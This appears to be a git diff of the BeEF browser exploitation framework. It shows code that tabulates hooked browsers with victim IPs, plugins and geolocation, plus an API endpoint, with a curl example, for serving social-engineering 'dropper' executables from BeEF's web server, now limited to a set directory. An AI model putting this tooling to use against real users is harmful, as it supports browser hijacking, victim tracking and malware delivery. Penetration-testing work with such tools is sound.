def hbs_to_array(hbs)
|
||||
hooked_browsers = []
|
||||
hbs.each do |hb|
|
||||
details = BeEF::Core::Models::BrowserDetails
|
||||
# TODO jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank
|
||||
|
||||
pfuid = details.get(hb.session, 'PhishingFrenzyUID') != nil ? details.get(hb.session, 'PhishingFrenzyUID') : 'n/a'
|
||||
bname = details.get(hb.session, 'BrowserName') != nil ? details.get(hb.session, 'BrowserName') : 'n/a'
|
||||
bversion = details.get(hb.session, 'BrowserVersion') != nil ? details.get(hb.session, 'BrowserVersion') : 'n/a'
|
||||
bplugins = details.get(hb.session, 'BrowserPlugins') != nil ? details.get(hb.session, 'BrowserPlugins') : 'n/a'
|
||||
|
||||
hooked_browsers << [
|
||||
hb.id,
|
||||
hb.ip,
|
||||
pfuid,
|
||||
bname,
|
||||
bversion,
|
||||
details.get(hb.session, 'OsName'),
|
||||
details.get(hb.session, 'BrowserPlatform'),
|
||||
details.get(hb.session, 'BrowserLanguage'),
|
||||
bplugins,
|
||||
details.get(hb.session, 'LocationCity'),
|
||||
details.get(hb.session, 'LocationCountry'),
|
||||
details.get(hb.session, 'LocationLatitude'),
|
||||
details.get(hb.session, 'LocationLongitude')
|
||||
]
|
||||
end
|
||||
hooked_browsers
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -23,19 +23,37 @@ module BeEF
|
||||
|
||||
|
||||
# @note Binds a local file to a specified path in BeEF's web server
|
||||
# Note: 'local_file' expects a file from the /extensions/social_engineering/droppers directory.
|
||||
# Example usage:
|
||||
# curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mount":"/dropper","local_file":"dropper.exe"}'
|
||||
# -X POST -v http://10.0.60.10/api/server/bind?token=xyz
|
||||
|
||||
post '/bind' do
|
||||
request.body.rewind
|
||||
begin
|
||||
data = JSON.parse request.body.read
|
||||
mount = data['mount']
|
||||
local_file = data['local_file']
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(local_file, mount)
|
||||
status 200
|
||||
|
||||
droppers_dir = File.expand_path('..', __FILE__) + "/../../../../extensions/social_engineering/droppers/"
|
||||
|
||||
if File.exists?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file)
|
||||
f_ext = File.extname(local_file).gsub('.','')
|
||||
f_ext = nil if f_ext.empty?
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount, f_ext)
|
||||
status 200
|
||||
else
|
||||
halt 400
|
||||
end
|
||||
rescue => e
|
||||
error 400
|
||||
end
|
||||
end
|
||||
|
||||
get '/version' do
|
||||
{ 'version' => config.get('beef.version') }.to_json
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user